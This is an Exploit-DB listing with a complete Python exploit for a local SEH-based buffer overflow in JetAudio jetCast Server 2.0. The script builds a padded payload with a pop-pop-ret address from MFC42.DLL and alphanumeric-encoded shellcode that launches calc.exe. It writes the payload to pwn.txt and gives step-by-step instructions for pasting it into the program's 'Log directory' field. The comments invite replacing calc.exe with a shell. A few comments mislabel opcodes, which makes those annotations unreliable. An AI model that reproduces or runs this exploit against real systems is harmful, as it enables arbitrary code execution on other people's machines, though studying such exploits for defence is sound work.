JetAudio jetCast Server 2.0 - 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow

EDB-ID:
46854

CVE:
N/A

EDB Verified: ×

Author:
CONNOR MCGARR

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2019-05-16

Vulnerable App:

```
# Title: JetAudio jetCast Server 2.0 'Log Directory' Local SEH Alphanumeric
Encoded Buffer Overflow
# Date: May 13th, 2019
# Author: Connor McGarr (https://connormcgarr.github.io)
# Vendor Homepage: http://www.jetaudio.com/
# Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-
d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe
# Version v2.0
# Tested on: Windows XP SP3 EN

# TO RUN:
# 1. Run python script
# 2. Copy contents of pwn.txt
# 3. Open jetCast
# 4. Select Config
# 5. Paste contents of pwn.txt into "Log directory" field
# 6. Click "OK"
# 7. Click "Start"

# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01"               # and eax, 0x01010101
zero += "\x25\x10\x10\x10\x10"              # and eax, 0x10101010

# Save old stack pointer
restore = "\x54"                                # push esp
restore += "\x59"                               # pop ecx
restore += "\x51"                               # push ecx

# Align the stack to 0012FFAD. Leaving enough room for shell. Using
calc.exe for now.
# 4C4F5555 4C4F5555 4D505555
alignment = "\x54"              # push esp
alignment += "\x58"             # pop eax
alignment += "\x2d\x4c\x4f\x55\x55"     # and eax, 0x4C4F5555
alignment += "\x2d\x4c\x4f\x55\x55"     # and eax, 0x4C4F5555
alignment += "\x2d\x4d\x50\x55\x55"     # and eax, 0x4D505555
alignment += "\x50"             # push eax
alignment += "\x5c"             # pop esp

# calc.exe - once again, giving you enough room with alignment for shell.
Calc.exe for now.
# 2C552D14 01552D14 01562E16
shellcode = zero
shellcode += "\x2d\x14\x2d\x55\x2c"         # sub eax, 0x2C552D14
shellcode += "\x2d\x14\x2d\x55\x01"         # sub eax, 0x01562D14
shellcode += "\x2d\x16\x2e\x56\x01"         # sub eax, 0x01562E16
shellcode += "\x50"                 # push eax

# 24121729 24121739 2414194A
shellcode += zero
shellcode += "\x2d\x29\x17\x12\x24"         # sub eax, 0x24121729
shellcode += "\x2d\x39\x17\x12\x24"         # sub eax, 0x24121739
shellcode += "\x2d\x4a\x19\x14\x24"         # sub eax, 0x2414194A (was 40
at the end, but a miscalc happened. Changed to 4A)
shellcode += "\x50"                 # push eax

# 34313635 34313434 34313434
shellcode += zero
shellcode += "\x2d\x35\x36\x31\x34"         # sub eax, 0x34313635
shellcode += "\x2d\x34\x34\x31\x34"         # sub eax, 0x34313434
shellcode += "\x2d\x34\x34\x31\x34"         # sub eax, 0x34313434
shellcode += "\x50"                 # push eax

# 323A1245 323A1245 333A1245
shellcode += zero
shellcode += "\x2d\x45\x12\x3a\x32"         # sub eax, 0x323A1245
shellcode += "\x2d\x45\x12\x3a\x32"         # sub eax, 0x323A1245
```

```
shellcode += "\x2d\x45\x12\x3a\x33"          # sub eax, 0x333A1245
shellcode += "\x50"              # push eax

# Restore old stack pointer. MOV ECX,ESP
move = zero
move += "\x2d\x40\x3f\x27\x11"           # sub eax, 0x403F2711
move += "\x2d\x3f\x3f\x27\x11"           # sub eax, 0x3F3F2711
move += "\x2d\x3f\x3f\x28\x11"           # sub eax, 0x3F3F2811
move += "\x50"                   # push eax


payload = "\x41" * 520
payload += "\x70\x06\x71\x06"            # JO 6 bytes. If jump fails,
default to JNO 6 bytes into shellcode.
payload += "\x2d\x10\x40\x5f"            # pop pop ret MFC42.DLL
payload += "\x41" * 2               # Padding to reach first instruction
payload += restore
payload += alignment
payload += shellcode
payload += move
# Using ECX for holding old ESP. \x41 = INC ECX
# so using \x42 = INC EDX instead.
payload += "\x42" * (5000-len(payload))

f = open('pwn.txt', 'w')
f.write(payload)
f.close()
```

Tags: Local Buffer Overflow

Advisory/Source: Link

Databases

Links

Sites

Solutions